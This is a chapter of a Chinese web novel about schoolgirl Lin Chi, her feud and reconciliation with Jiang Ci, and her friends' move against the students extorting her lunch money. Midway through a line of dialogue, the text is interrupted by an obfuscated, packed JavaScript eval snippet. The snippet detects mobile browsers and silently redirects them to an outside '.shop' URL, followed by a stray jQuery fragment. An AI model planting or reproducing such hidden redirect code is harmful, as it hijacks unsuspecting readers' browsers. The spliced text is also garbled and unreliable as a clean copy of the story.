旁边的人没有吭声。
林池垂下头,很快又抬头看他。
江词站在夕阳里,脸上的表情有些一言难尽,带着几分不耐,几分见怪不怪。
好不容易才将自己劝好,见状,心头火顷刻间又窜了上来。林池沉默了三秒,瞄准江词小腿,狠狠踹了一脚。
江词大概也没料到,她这次一反常态,疼得单脚跳了几步,他低吼:“林池,你这个疯子。”
正因为疯,你才不会喜欢吗?
到底还要表白多少次?
林池连着一个星期没再跟江词说话。
说不来缘由,就是忽然间有些累了,还隐隐约约有些说不上来的憋屈。
顾一连着观察了她一个星期,碰了碰同桌的胳膊:“林池怎么不来找你讲题了?”
这会刚下课,林池跟着老爷子走出教室,她最差的科目就是数学,最近发了力,天天缠着老爷子讲题。
江词抬头瞥了眼正前方,漆黑的眸子没什么情绪:“挺好。”
顾一扫了一眼他那比窗外还阴沉的脸,挑了挑眉:“你俩吵架了?”
江词抿了下唇,没说话。
走廊左侧的尽头是男厕,老爷一出了教室就往左拐,林池闷着头跟在身后,快走到厕所门口,她才反应过来。
外面下了大雨,走廊被斜雨打湿了一地,她靠着墙站在男厕门口,有男生进进出出,会下意识地多看她两眼。
顾一趴在窗边探头张望,又转回头看江词,视线来回切换了第几次,才耐不住地开口:“她一个外地小姑娘,你跟她置什么气?”
没跟她生气。只是他向来不是主动的人,对方没理他,他也不会主动上前。
江词转了一下笔,继续不吭声。
顾一蔫回去,坐在座位上生闷气:“真不知她哪只眼睛出了问题,怎么会喜欢上你?”
“那你劝劝她。”江词垂着眸,终于开口,“别喜欢我了。”
一旁沉默听着的黎茉都忍不住,回头小声地说:“你也别跟她闹别扭,她前两天才被小混混勒索不少钱,这几天在食堂全吃的馒头。”
顾一闻声一怔:“她怎么没跟我说?”
“跟你说又能怎么样?”黎茉说,“我发现林池这人脾气是有点怪,什么事都习惯藏在心里。其实上学期她就被勒索过,谁都没讲,后来没钱吃饭,跟我借钱的时候,才随口说了几句。”
雨下大了,斜进来的雨滴越来越密,林池跟在老爷子身后,路过窗边时,她似乎并不想往里看,偏过头,看着廊外的雨。
江词眸色深沉,目光跟着她挪动,唇线紧紧抿直,看不出太大的情绪。
“这事待跟老师讲。”顾一忧心忡忡,掏出手机,“还待跟我妈说下。”
食堂的窗口开放的不多,林池去的太晚了,好在大中午的馒头和粥并不热销,她买了一个馒头一碗粥。隔壁还有绿豆冰沙在卖,挂着牌子,上面写着:最后一天售卖。
绿豆冰沙是他们学校食堂夏天特供的饮品,以往总是会排着长队,这几天降温,已经人没人愿意喝了。
林池想着,这场大雨过后,今年的夏天就该彻底结束了,再想喝就要等到来年。
她好想喝绿豆冰沙。
绿豆冰沙一杯要两元,馒头和粥只要一元。前两天又被小混混勒索了,她说没钱,对方不信,搜了她口袋,拿走了饭卡。卡里原本还有两百,还回来时就留了十块。
没被小混混缠上前,她花钱其实很随意的,因为林振国对她的关心仅限于给钱,所以她从来不差钱。上学期快期末的时候黎茉过生日,她花了五百给对方买了个包,不知这事怎么又被那该死的唐甜甜知道了。
唐甜甜也找了个校外小混混当男朋友,那小混混隔三差五领着两三个小弟翻过墙头,跟她要钱,不给就要打她。
她又不是个傻子,孤身一人怎么可能打得过几个男生,虽然那几个男生都是细胳膊细腿的。
根本没挣扎,就主动掏了钱。
从此之后,那几人就跟狗皮膏药似的缠上她了,开学到现在,她兜里的钱全被抢走了,也就饭卡里还剩点,如今也没了。
离她回家还有两天,还剩下三块。她要买了这杯绿豆冰沙,后面两天又要借钱。
她不爱借钱,可好想喝绿豆冰沙。
闷头往前走,余光忽然瞥见两道熟悉的身影。
林池抬头,在食堂入口的雨雾中看到正在收伞的顾一,和朝她走来的江词。
江词走到她面前,眼尾往下,扫了一眼她手中端着的午饭。
脸色阴沉沉的。
顾一走过来,见到林池,明显愣了一下,可这愣神的模样太过明显了,他嘿嘿笑了两声,自己都有点不好意思,挠了挠头:“才吃啊!”
“来这么晚吗?”林池装作若无其事地说,“估计你的糖醋排骨早都没了。”
顾一有点手忙脚乱,往窗口跑去:“我先去打饭,哎,江词,你还是老样吗?”
食堂里空位很多,林池随便找个位置坐下,她喝了口粥。馒头真心不想吃,又干又噎人,想吃肉,想啃排骨。
这个星期她一直在跟自己较劲,江词送了她一个星期的牛奶,她没要,全还给他了。顾一找她聊天,辅导她数学,她拒绝了。天天追在老爷子后面问问题,好几次追到了厕所,被上厕所的男生取笑。
其实一开始就连她自己,都理解不了她这一系列的做法。
后来想想,她较这个劲,无非是想表达,她生气了。只要江词主动低头哄一哄她,主动跟她说句话,递个台阶,她就下。
可江词不太愿意。
就连每天送的牛奶,都是托着顾一送来。
这样,她更气了。
林池拿起馒头,咬了口,瞬间垮下了脸。没钱的日子,真苦,比心里还苦。
这种被小混混缠上的日子什么时候才能到头?她在想,要不要这个星期回去告诉林振国,毕竟他干的工作就是整治这类街头混混。
能不能给他们抓起来,关上半年?
打完饭,顾一直接把饭盘放在林池的斜对面。正对面的座位,他留给了江词。
“吃这么素,减肥呢?”顾一开口,“糖醋排骨卖光了,就剩三个鸡腿。阿姨要快下班,打折处理都被我买了,吃不吃?”
林池眨了下眼,没回他。
顾一拿起鸡腿,先往江词碗里丢一个,再给自己留一个,最后连盘带剩下那个推到林池面前:“快吃,别浪费。”
江词在她对面坐下来了,手里拎着塑料袋子,里面躺着三杯绿豆冰沙。他说:“我看见窗口贴着最后一天售卖,就顺手买了,你喝吗?”
他偏过头,问的是顾一。
顾一:“?”
林池咬牙切齿地跟眼前的馒头较劲,几大口,将噎人的馒头全塞进嘴里,两个腮帮子鼓鼓的,瞪向江词。
狗东西,是来显摆的。
不是来和好的!
顾一翻个大白眼,觉得江词有病,他从袋子里拿出一杯绿豆冰沙,放在林池面前,刚张口:“大……”
“滚。”
“……”
你俩都有病!
“不是,你俩到底是气什么啊?”顾一无奈地看向江词,“我来找林池,你非要跟着来,结果到这儿又闷不吭声,不是来道歉和好的吗?”
一碗粥见底,林池本来想甩脸子走人的,听见这话,身子微微一动,刚抬起一点又坐了回去。
她垂着眼,默默等着对方先低头。
“她踢我了。”江词说,“按理该是她先道歉。”
林池看了眼,见他一脸较真,无语了一阵。过了会,她才细声嘟囔:“我是女的,你就不能让着我点?”
江词说:“不能。”
心头漫开一阵难言的酸涩,她忽然觉得,自己在江词眼里,和其他人没有什么区别。
所以他才会斤斤计较。
林池低着头,第一次感到悲凉,声音放得很低:“那天是我不对,不该踹你,对不起。”
江词想过她会低头认错的,可看着她眼眶泛红,就要掉泪的样子,心头莫名揪了一下,说不来,就是很难受。
见他半晌没回话,林池觉得羞耻,头也不抬,眼睛胀得发酸,难堪又委屈。
这段时间被小混混勒索,没钱吃饭,她谁都不敢说。可这些委屈,都不及此刻心里的憋屈。
顾一顿了好几秒,用胳膊肘碰了江词一下:“差不多行了。”
江词回过神,一时竟然不知道该说什么。
他说:“没关系。”
林池抹了把眼泪,说:“嗯。”
顾一用吸管在绿豆冰沙上戳出个洞,推到她面前。
林池犹豫了几秒,接了过来,用力吸了一口。
吃到嘴里是冰的,一路从嗓子流到胃里,是苦的。
林池捂住隐隐不适的肚子,想这辈子再也不喝绿豆冰沙了。
顾一见她肯接江词买来的绿豆冰沙,心里顿时松了口气。他也拿起一杯,猛喝一大口,凉意直窜大脑,冰得他眯起眼:“这种天气,喝这玩意有点遭罪啊!”
一旁的江词像想到什么,脱口道:“别喝太多。”
林池抬起眼,不知他在跟谁说话,一时没敢接话。
见她没理,江词挠了挠下颌,语气略带迟疑,“我刚好像看到你裤子脏了。”
顾一把自己碗里的米饭拨给林池:“外面下雨呢,来食堂这段路有积水,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614862|204875||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
应该是踩脏的,回去换一条就没事了。”
眼前是一碗满满当当的大米饭,不仅有肉,还有青菜。
林池的耳朵发烫,不是一次两次被江词提醒裤子脏了。但是此刻羞耻心被江词踩在脚下,已经无所谓了。
她挖了口米饭,塞进嘴里。
不对,他怎么总盯着她屁股看?
“你不觉得自己像个变态吗?怎么总盯着我裤子看?”后面半句林池说得有些轻,毕竟,还是要脸。
“你不觉得自己不像个女生吗?”江词反问她,“我几乎每月都能看到。”
“……”
两人都沉默了下来,安静得像是又要开始新一轮的冷战。
“你俩说啥呢?我怎么听不明白?”顾一挖了一大勺米饭,偏过头,问江词,“每月都看到什么?”
江词喝了一口绿豆冰沙,面上也泛起几分尴尬,怎么没事跟她掰扯这些干嘛,顿了好几秒,他才开口:“没什么。”
就算再迟钝,顾一也听出话里的不对味,可一时半会又不知道哪里不对,他也懒得想,直接切入主题:“大池,你有没有把哥们当兄弟?被人欺负了怎么不吱一声?”
林池抬眼看他,沉默着。
“被勒索了多少钱?”江词问。
林池犹豫了下,摇了摇头:“记不清了,之前一周两三回,这个星期也就要了一回。”
“也就?”江词看向她,觉得不可思议,气极反笑:“你不是挺厉害吗?踢我的时候下手那么重,被人欺负连话都不敢说,是不是只会窝里横?”
你是忘不了那一脚了吗?
“他们人多。”林池迟疑道,“我打不过。”
江词没耐心:“他们打你了?”
林池摇头:“也不算打吧,就是拍了拍我的脸,让我交钱。口袋里的钱全给他们了,后面,他们觉得不够,便经常来要。”
“那你怎么不告诉我们?”
“我们不是闹矛盾了吗?”林池想到自己较劲了一个星期,反过来还要她先道歉,心情更差,“你不理我,我怎么可能主动去找你。”
“搞错了吧!”江词立即纠正:“不是我不理你,是你没理我。”
他又补充道:“还有,我没同你闹矛盾,是你单方面在生气。”
顾一扒拉完最后一口米饭,把筷子往饭盘上一丢:“这些先放一放,晚点说。勒索你的那些人今天还来不来?”
林池说:“我身上没钱,饭卡也被他们刷干净了,这星期应该不会再来找我了吧。不过其他班也有不少人被勒索,那帮人几乎天天午休都过来。”
“平时在哪跟你要钱的?咱们学校谁跟那帮人是一伙的?”
林池想了想:“唐甜甜。”
“吃完没?”
顾一猛地站起身,对江词说:“走,去见识见识那个叫唐甜甜的。”
午休时间,顾一从班里叫了两人,都是体育生,一个是代徐,一个陈澄,再加上个江词。四个人高马大的男生,去了文科高二(十四)班。
外面下着大雨,林池跟在他们身后,还没走几步,顾一回头:“你在教室里待着,别去了。”
“你认识唐甜甜吗?”
“怎么不认识?”顾一说,“老子高一的时候就想揍她,不是碍于男女有别,才没动手。”
“现在不碍于了?”
“胡说八道什么了,老子跟某人不一样,心胸宽着,不跟女的计较。我去找她不是打架,只是把钱要回来。”
顾一顿了顿:“顺便给她们送进去。”
被点名心胸狭窄的某人,垂着脑袋,飞快看了林池一眼,没敢反驳。
他们四个人先去了高二(十四)班,没找到人,又打听到唐甜甜平时会去的地方。有人说在寝室,有人说在实验楼。
女生寝室进不了,他们去了实验楼。
江词:“那唐甜甜长什么样?”
顾一:“就当了半学期同学,鬼知道长得什么样。我看清楚她那会,她正被林池踩在脚下,脸上全是血,现在搁我面前,我也认不出来。”
“……”江词顿了下,“那怎么找?”
“瞎找呗,学校就那么屁大点地方,一个女生后面跟着几个男的,特征这么明显,还不好找。”
画室在实验楼的三楼,顾一一天来回好几趟,他熟门熟路地领着兄弟一间间找。几人的动静不小,没多久,就有一男一女从画室里走了出来。
顾一:“?”
他一边眉挑着,一边眉皱着:“你们在画室干嘛?”
女生一见对面的是熟人,顿时绽放个笑脸:“老同学,你来上课呀?”
“老同学”三个字,让顾一神色一喜,他说:“你叫唐甜甜?”